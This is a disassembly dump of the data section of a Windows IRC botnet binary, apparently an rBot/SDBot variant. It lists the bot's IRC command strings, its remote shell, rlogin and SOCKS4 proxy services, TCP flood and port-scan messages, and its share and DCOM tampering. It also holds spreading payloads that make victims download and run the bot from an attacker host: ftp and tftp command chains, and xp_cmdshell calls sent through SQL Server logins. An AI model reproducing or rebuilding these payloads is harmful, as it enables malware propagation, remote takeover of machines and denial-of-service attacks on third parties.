aSecure		db 'secure',0           ; DATA XREF: sub_4078FA+DBDo
					; sub_4078FA+4999o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_4078FA+DA9o
aVersion	db 'version',0          ; DATA XREF: sub_4078FA+D95o
aLo		db 'lo',0               ; DATA XREF: sub_4078FA+D81o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_4078FA+D6Do
		align 4
aD:					; DATA XREF: sub_4078FA+D59o
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_4078FA+D45o
aRn		db 'rn',0               ; DATA XREF: sub_4078FA+D31o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_4078FA+D1Ao
a63		db '63',0               ; DATA XREF: sub_4078FA+BF9o
		align 4
asc_42635C:				; DATA XREF: sub_4078FA+BD1o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_4078FA+B96o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_4078FA+B8Bo
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_4078FA+B7Ao
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_4078FA+B5Co
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_4078FA+B4Bo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_4078FA+B39o
aD_0		db '$%d',0              ; DATA XREF: sub_4078FA+AC7o
aD_1		db '$%d-',0             ; DATA XREF: sub_4078FA+A11o
		align 4
dword_42639C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_4078FA+974o
		dd 0A0Dh
dword_4263B4	dd 4E495001h, 47hdword_4263BC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_4078FA+937o
		dd 0D017325h, 0Ah
dword_4263D8	dd 52455601h, 4E4F4953h, 1dword_4263E4	dd 23h		dword_4263E8	dd 6Ch		dword_4263EC	dd 323333h						; sub_4078FA+7EFo ...
aMainJoinedChan	db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_4078FA+6F3o
aMainUserSLog_0	db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_4078FA+693o
		align 4
a353		db '353',0              ; DATA XREF: sub_4078FA+641o
aPart		db 'PART',0             ; DATA XREF: sub_4078FA+5C5o
		align 4
aSS_2		db ':%s%s',0            ; DATA XREF: sub_4078FA+596o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_4078FA+3E7o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+373o
					; sub_4078FA+6D1o
aMainUserSLogge	db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_4078FA+35Ao
					; sub_4078FA+4AF6o ...
aKick		db 'KICK',0             ; DATA XREF: sub_4078FA+2DAo
		align 4
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4078FA+271o
					; sub_4078FA+39B6o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_4078FA+24Eo
a@:					; DATA XREF: sub_4078FA+225o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_4078FA+218o
a005		db '005',0              ; DATA XREF: sub_4078FA+205o
a001		db '001',0              ; DATA XREF: sub_4078FA+1F2o
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+1D5o
					; sub_4078FA+3184o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_4078FA+1B3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_4078FA+19Do
		align 10h
asc_4264C0:				; DATA XREF: sub_4078FA+18Bo
					; sub_4078FA+570Co
		unicode	0, <!>,0
aSecureSystemSe	db '[SECURE]: System secure monitor active.',0 ; DATA XREF: sub_40D1EF+38Fo
aMainBotStarted	db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40D1EF+356o
		align 4
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40D1EF+286o
		align 10h
aSS_5		db '%s\%s',0            ; DATA XREF: sub_40D1EF+195o
		align 4
aRedirectFail_0	db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
					; DATA XREF: sub_40D7DF+153o
aRedirectClient	db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40D7DF+DBo
		align 4
aRedirectFail_1	db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40D9BC+13Fo
		align 10h
aRedirectClie_0	db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40D9BC+DDo
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40DBAB+35o
aCmdCouldNotR_0	db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_40DC39:loc_40DD9Do
aCmdProccessHas	db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_40DC39+141o
		align 4
aCmdCouldNotRea	db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
					; DATA XREF: sub_40DC39:loc_40DD48o
		align 10h
aCmdFailedToSta	db '[CMD]: Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_40DDC6+18Eo
		align 10h
aCmdRemoteComma	db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_40DDC6+146o
		align 10h
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40DDC6+1Fo
aRlogindProtoco	db '[RLOGIND]: Protocol string too long.',0
					; DATA XREF: sub_40DF75:loc_40DFA7o
		align 10h
aRlogindLoginRe	db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
					; DATA XREF: sub_40DFC0+39o
		align 4
aRlogindUserL_0	db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_40E00D+1EFo
		align 4
aRlogindErrorSe	db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_40E00D+1CFo
		align 4
aRlogindUserLog	db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_40E00D+1AFo
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40E00D+184o
		align 4
aRlogindErrorGe	db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_40E00D+F4o
		align 4
aRlogindError_0	db '[RLOGIND]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_40E219+215o
		align 4
aRlogindFaile_1	db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40E219+1C9o
		align 10h
aRlogindClientC	db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40E219+158o
aRlogindReadyAn	db '[RLOGIND]: Ready and waiting for incoming connections.',0
					; DATA XREF: sub_40E219+FFo
		align 4
aRlogindFaile_0	db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
					; DATA XREF: sub_40E219+70o
		align 4
aRlogindErrorWs	db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_40E219+3Eo
		align 10h
aSI		db '%s%i',0             ; DATA XREF: sub_40E495+40o
					; .text:0040E590o ...
		align 4
aPc		db 'PC',0               ; DATA XREF: .text:0040E55Eo
		align 4
aS_5		db '[%s]',0             ; DATA XREF: .text:0040E6C6o
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_40E6BDo
					; sub_40FE1F:loc_40FEC0o
a2k3		db '2K3',0              ; DATA XREF: .text:0040E6B6o
aXp_0		db 'XP',0               ; DATA XREF: .text:0040E6ABo
					; sub_40FE1F+8Bo
		align 10h
a2k		db '2K',0               ; DATA XREF: .text:0040E69Eo
					; sub_40FE1F+7Co
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:0040E68Bo
					; sub_40FE1F+68o
		align 4
a98		db '98',0               ; DATA XREF: .text:0040E67Eo
					; sub_40FE1F+59o
		align 4
aNt		db 'NT',0               ; DATA XREF: .text:0040E671o
					; sub_40FE1F+4Ao
		align 10h
a95		db '95',0               ; DATA XREF: .text:0040E666o
					; sub_40FE1F+39o
		align 4
aDS		db '[%d]%s',0           ; DATA XREF: sub_40E70F+39o
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40E70F+2Bo
					; sub_40E70F+50o
aScanIpSPortD_0	db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_40E83D+85o
		align 4
aScanScanningIp	db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_40E8FF+40o
		align 4
aD_2		db 'D:\',0              ; DATA XREF: .data:0042B30Co
aD_3		db 'D$',0               ; DATA XREF: .data:0042B308o
		align 10h
aC_2		db 'C:\',0              ; DATA XREF: .data:0042B304o
aC_3		db 'C$',0               ; DATA XREF: .data:0042B300o
		align 4
aAdmin_0	db 'ADMIN$',0           ; DATA XREF: .data:0042B2F8o
		align 10h
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_42B2F0o
		align 4
aSecureNetapi32	db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_40E9C5+2E8o
					; sub_40ECEC+2DAo
		align 4
aSecureNetworkS	db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_40E9C5+2D2o
		align 4
aSecureFailed_4	db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0
					; DATA XREF: sub_40E9C5:loc_40EC30o
		align 10h
aSecureShareS_0	db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0
					; DATA XREF: sub_40E9C5+264o
		align 10h
aSecureFailed_3	db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_40E9C5:loc_40EBA0o
		align 4
aSecureShareSDe	db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0
					; DATA XREF: sub_40E9C5+1D4o
		align 4
aSecureAdvapi32	db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_40E9C5:loc_40EAF8o
					; sub_40ECEC:loc_40EE1Bo
		align 4
aSecureFailed_2	db '[SECURE]: Failed to open IPC$ Restriction registry key.',0
					; DATA XREF: sub_40E9C5:loc_40EAF1o
aSecureRestrict	db '[SECURE]: Restricted access to the IPC$ Share.',0
					; DATA XREF: sub_40E9C5:loc_40EAD9o
		align 4
aSecureFailed_1	db '[SECURE]: Failed to restrict access to the IPC$ Share.',0
					; DATA XREF: sub_40E9C5+10Do
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_40E9C5+EEo
					; sub_40ECEC+EEo
		align 4
aSecureFailed_0	db '[SECURE]: Failed to open DCOM registry key.',0
					; DATA XREF: sub_40E9C5+92o
					; sub_40ECEC+92o
aSecureDcomDisa	db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_40E9C5:loc_40EA39o
		align 10h
aSecureDisableD	db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_40E9C5+6Do
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_40E9C5+55o
					; sub_40ECEC+55o
		align 4
aSecureNetwor_0	db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_40ECEC+2C2o
aC_0		db '%c:\',0             ; DATA XREF: sub_40ECEC+22Co
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_40ECEC+21Bo
aSecureFailed_7	db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_40ECEC:loc_40EE9Ao
					; sub_40ECEC:loc_40EF61o
aSecureShareSAd	db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_40ECEC+1A7o
					; sub_40ECEC+26Eo
aSecureFailed_6	db '[SECURE]: Failed to open IPC$ restriction registry key.',0
					; DATA XREF: sub_40ECEC:loc_40EE14o
aSecureUnrestri	db '[SECURE]: Unrestricted access to the IPC$ Share.',0
					; DATA XREF: sub_40ECEC:loc_40EDFCo
		align 4
aSecureFailed_5	db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0
					; DATA XREF: sub_40ECEC+109o
		align 10h
aSecureDcomEnab	db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_40ECEC:loc_40ED60o
aSecureEnableDc	db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_40ECEC+6Do
		align 4
aRlogindFaile_2	db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
					; DATA XREF: sub_40F07B+B7o
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_40F07B+80o
		align 4
aRlogindSession	db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
					; DATA XREF: sub_40F147+89o
aRlogindFaile_5	db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_40F2F9+B2o
aRlogindFaile_4	db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
					; DATA XREF: sub_40F2F9+82o
		align 4
aRlogindFaile_3	db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
					; DATA XREF: sub_40F2F9+5Fo
aRlogindWaitfor	db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
					; DATA XREF: sub_40F3F5+E2o
		align 4
aRlogindFaile_6	db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
					; DATA XREF: sub_40F3F5+59o
					; sub_40F3F5+8Fo
		db '.',0
		align 4
aSocks4ErrorF_0	db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
					; DATA XREF: sub_40F8FA+1A7o
		align 4
aSocks4ErrorFai	db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
					; DATA XREF: sub_40F8FA+187o
		align 4
aSocks4Authenti	db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
					; DATA XREF: sub_40F8FA+F6o
		align 4
aSocks4Failed_1	db '[SOCKS4]: Failed to start server on Port %d.',0
					; DATA XREF: sub_40FB2A+1A1o
		align 4
aSocks4Failed_0	db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40FB2A+16Co
		align 4
aSocks4ClientCo	db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40FB2A+107o
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40FD16+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40FE1F+247o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40FE1F+161o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40FE1F:loc_40FF52o
		align 4
aSS_4		db '%s (%s)',0          ; DATA XREF: sub_40FE1F+C0o
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_410086+99o
		align 4
off_4271AC	dd offset loc_412F4D+1	; DATA XREF: sub_410086+67o
dword_4271B0	dd 4E414Ch	dword_4271B4	dd 6C616944h, 70752Dhdword_4271BC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0aTcpErrorSendin	db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
					; DATA XREF: sub_41046C+58Fo
		db 'd: <%d>.',0
		align 10h
aTcpDoneWithSFl	db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
					; DATA XREF: sub_41046C+522o
		db 'c (%dMB).',0
		align 4
aTcpInvalidTarg	db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_41046C+124o
		align 4
aTcpErrorSetsoc	db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_41046C+F0o
		align 4
aTcpErrorSocket	db '[TCP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_41046C+75o
		align 4
dword_4272EC	dd 4000500h, 7868746Bh,	0aTftpFileTran_0	db '[TFTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_410A22+44Co
		align 4
aTftpFileNotFou	db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_410A22+395o
		align 4
dword_42734C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_410A22+379o
aTftpFileTransf	db '[TFTP]: File transfer started to IP: %s (%s).',0
					; DATA XREF: sub_410A22+324o
		align 10h
aTftpFailedToOp	db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_410A22+14Do
		align 4
aTftpErrorSocke	db '[TFTP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_410A22+6Co
aOctet		db 'octet',0            ; DATA XREF: sub_410A22+11o
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_410F55+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_411120+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411120+35o
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_411235+2B8o
					; .text:004119D3o ...
		align 4
aHostSContentTy	db 'Host: %s',0Dh,0Ah   ; DATA XREF: sub_411235+1BAo
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_1	db ' HTTP/1.1',0Dh,0Ah,0 ; DATA XREF: sub_411235+183o
aSearch		db 'SEARCH /',0         ; DATA XREF: sub_411235+CCo
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: .text:0041193Do
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: .text:00411913o
aNilsisgay	db 'NILSISGAY!!',0      ; DATA XREF: .text:004117E4o
; ---------------------------------------------------------------------------


loc_42753C:				; DATA XREF: .text:004117D1o
		jmp	short loc_42754D
; ---------------------------------------------------------------------------
		align 10h
dword_427540	dd 2016280h, 100BDh, 8F160001h		db 82h
; ---------------------------------------------------------------------------


loc_42754D:				; CODE XREF: .rdata:loc_42753Cj
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
aEchoOpenSDOE_0	db 'echo open %s %d>o&echo USER a>>o&echo a>>o&echo binary>>o&echo ge'
					; DATA XREF: sub_411A2E+8Eo
					; .text:004126E7o
		db 't resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.e'
		db 'xe',0Dh,0Ah,0
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_411B71+27o
					; .text:004121ADo
		align 4
dword_4275EC	dd 1CEC8166h						; .text:00412159r
dword_4275F0	dd 0E4FF07h						; .text:00412163r
aSTryingToXploi	db '[%s]: Trying to Xploit IP: %s.',0 ; DATA XREF: .text:0041275Eo
		align 4
aSExploitingI_0	db '[%s]: Exploiting IP: (%s:%d) User: (%s/%s).',0
					; DATA XREF: .text:004129CFo
aTftpFileTran_1	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00412956o
		align 4
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .text:00412941o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET %s',27h,0
					; DATA XREF: .text:0041290Ao
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .text:0041287Fo
		align 10h
stru_4276F0	_msEH <0FFFFFFFFh, 0, offset sub_412FD9> ; DATA	XREF: sub_412F93+2o
		align 10h
stru_427700	_msEH <0FFFFFFFFh, 0, offset sub_413037> ; DATA	XREF: sub_412FE4+2o
		align 10h
stru_427710	_msEH <0FFFFFFFFh, 0, offset sub_413180> ; DATA	XREF: sub_41313E+2o
		align 10h
stru_427720	_msEH <0FFFFFFFFh, 0, offset sub_4132EA> ; DATA	XREF: sub_41318A+2o
		align 10h
stru_427730	_msEH <0FFFFFFFFh, 0, offset sub_413389> ; DATA	XREF: sub_413337+2o
		align 10h
stru_427740	_msEH <0FFFFFFFFh, 0, offset sub_413415> ; DATA	XREF: sub_4133A6+2o
		align 10h
stru_427750	_msEH <0FFFFFFFFh, 0, offset sub_4141A3> ; DATA	XREF: sub_41414F+2o
		align 10h
stru_427760	_msEH <0FFFFFFFFh, 0, offset sub_414370> ; DATA	XREF: sub_4142F5+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_4143B9+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_4143B9o
		align 10h
oword_427790	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_414670+E3r
oword_4277A0	xmmword	4330000000000000433h ; DATA XREF: sub_414670+46r
oword_4277B0	xmmword	4330000000000000BFF0000000000000h ; DATA XREF: sub_414670+10Er
oword_4277C0	xmmword	80000000000000008000000000000000h
					; DATA XREF: sub_414670:loc_41476Dr
					; sub_414670+106r
oword_4277D0	xmmword	7FFh		; DATA XREF: sub_414670+5Fr
stru_4277E0	_msEH <0FFFFFFFFh, 0, offset sub_4148D7> ; DATA	XREF: sub_414898+2o
					; sub_414CA3+53r
		align 10h
stru_4277F0	_msEH <0FFFFFFFFh, offset loc_414AC2, offset loc_414AD6>
					; DATA XREF: .text:0041492Co
		align 10h
byte_427800	db 6			; DATA XREF: sub_414CA3:loc_414D04r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .data:off_42C74Co
		unicode	0, <(null)>,0
		align 4
aNull_1		db '(null)',0           ; DATA XREF: .data:off_42C748o
		align 8
stru_427878	_msEH <0FFFFFFFFh, offset loc_415A21, offset loc_415A25>
					; DATA XREF: sub_41554C+5o
		align 8
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 20h,	4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
stru_427A08	_msEH <0FFFFFFFFh, 0, offset sub_4162C0> ; DATA	XREF: sub_41628E+2o
		align 8
stru_427A18	_msEH <0FFFFFFFFh, 0, offset sub_4163FB> ; DATA	XREF: sub_416387+2o
		align 8
stru_427A28	_msEH <0FFFFFFFFh, 0, offset sub_4165A4> ; DATA	XREF: sub_4164D8+2o
		dd 2 dup(0)
		dd offset sub_416573
stru_427A40	_msEH <0FFFFFFFFh, 0, offset sub_417787> ; DATA	XREF: sub_417703+2o
		align 10h
stru_427A50	_msEH <0FFFFFFFFh, 0, offset sub_417E0B> ; DATA	XREF: sub_417CF5+2o
		align 10h
dbl_427A60	dq 0.0			; DATA XREF: sub_417E9E+6r
					; sub_41D14B+8Dr ...
dword_427A68	dd 30302B65h, 30hdbl_427A70	dq 1.0			; DATA XREF: sub_41823C+2Ar
					; sub_419AF8+6Dr
dbl_427A78	dq 4.195835e6		; DATA XREF: sub_41823C+Fr
dbl_427A80	dq 3.145727e6		; DATA XREF: sub_41823C+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41827C+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41827Co
		align 10h
		db 2 dup(0)
word_427AB2	dw 20h			; DATA XREF: sub_41D854+18r
					; .data:0042C7B0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0)
dword_427CB8	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:0042CE34o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
stru_427EC0	_msEH <0FFFFFFFFh, offset sub_4182C2, offset loc_4182C6>
					; DATA XREF: sub_4182D6-2Fo
dword_427ECC	dd 0							; sub_41AF01+1Eo
stru_427ED0	_msEH <0FFFFFFFFh, offset loc_4185DD, offset loc_4185E1>
					; DATA XREF: sub_4182E4+2o
		dd 0FFFFFFFFh, 4183DAh,	4183DEh, 0FFFFFFFFh, 4184A8h, 4184ACh
		dd 0
stru_427EF8	_msEH <0FFFFFFFFh, 0, offset sub_4187BA> ; DATA	XREF: sub_41870D+2o
		align 8
		dd offset loc_418780
		dd offset loc_418789
stru_427F10	_msEH <0FFFFFFFFh, offset sub_41880F, offset loc_418818>
					; DATA XREF: sub_4187DB+2o
		align 10h
stru_427F20	_msEH <0FFFFFFFFh, 0, offset sub_41897A> ; DATA	XREF: sub_41883D+2o
		align 10h
		retn	4188h
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418905
stru_427F38	_msEH <0FFFFFFFFh, offset sub_418B54, offset loc_418B58>
					; DATA XREF: sub_4189E4+2o
		align 8
stru_427F48	_msEH <0FFFFFFFFh, offset loc_418F30, offset loc_418F34>
					; DATA XREF: sub_418F0B+2o
		align 8
stru_427F58	_msEH <0FFFFFFFFh, offset loc_418F5D, offset loc_418F61>
					; DATA XREF: sub_418F40+2o
		align 8
stru_427F68	_msEH <0FFFFFFFFh, 0, offset sub_4192BB> ; DATA	XREF: sub_419258+2o
		align 8
stru_427F78	_msEH <0FFFFFFFFh, 0, offset sub_4195A4> ; DATA	XREF: sub_41945D+2o
		align 8
stru_427F88	_msEH <0FFFFFFFFh, 0, offset sub_419738> ; DATA	XREF: sub_419706+2o
		align 8
stru_427F98	_msEH <0FFFFFFFFh, offset loc_41977D, offset loc_419781>
					; DATA XREF: sub_419750+2o
		align 8
stru_427FA8	_msEH <0FFFFFFFFh, offset loc_4197C1, offset loc_4197C5>
					; DATA XREF: sub_419794+2o
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan		db 'atan',0             ; DATA XREF: sub_4197D8:loc_419A15o
		align 4
aCeil		db 'ceil',0             ; DATA XREF: sub_4197D8:loc_419A0Co
		align 10h
aFloor		db 'floor',0            ; DATA XREF: sub_4197D8:loc_419A03o
		align 4
aModf		db 'modf',0             ; DATA XREF: sub_4197D8+213o
		align 10h
aExp2		db 'exp2',0             ; DATA XREF: sub_4197D8:loc_41998Do
		align 4
aExp10		db 'exp10',0            ; DATA XREF: sub_4197D8+1A5o
		align 10h
aLog2		db 'log2',0             ; DATA XREF: sub_4197D8:loc_41995Ao
					; sub_4197D8+195o
		align 4
aPow		db 'pow',0              ; DATA XREF: sub_4197D8:loc_419885o
					; sub_4197D8+D2o ...
aLog10		db 'log10',0            ; DATA XREF: sub_4197D8:loc_419848o
					; sub_4197D8+7Fo ...
		align 4
aExp		db 'exp',0              ; DATA XREF: sub_4197D8+51o
					; sub_4197D8+64o ...
stru_428068	_msEH <0FFFFFFFFh, offset loc_419A8D, offset loc_419A91>
					; DATA XREF: sub_419A6C+2o
		align 8
stru_428078	_msEH <0FFFFFFFFh, 0, offset sub_419CC1> ; DATA	XREF: sub_419C3D+2o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
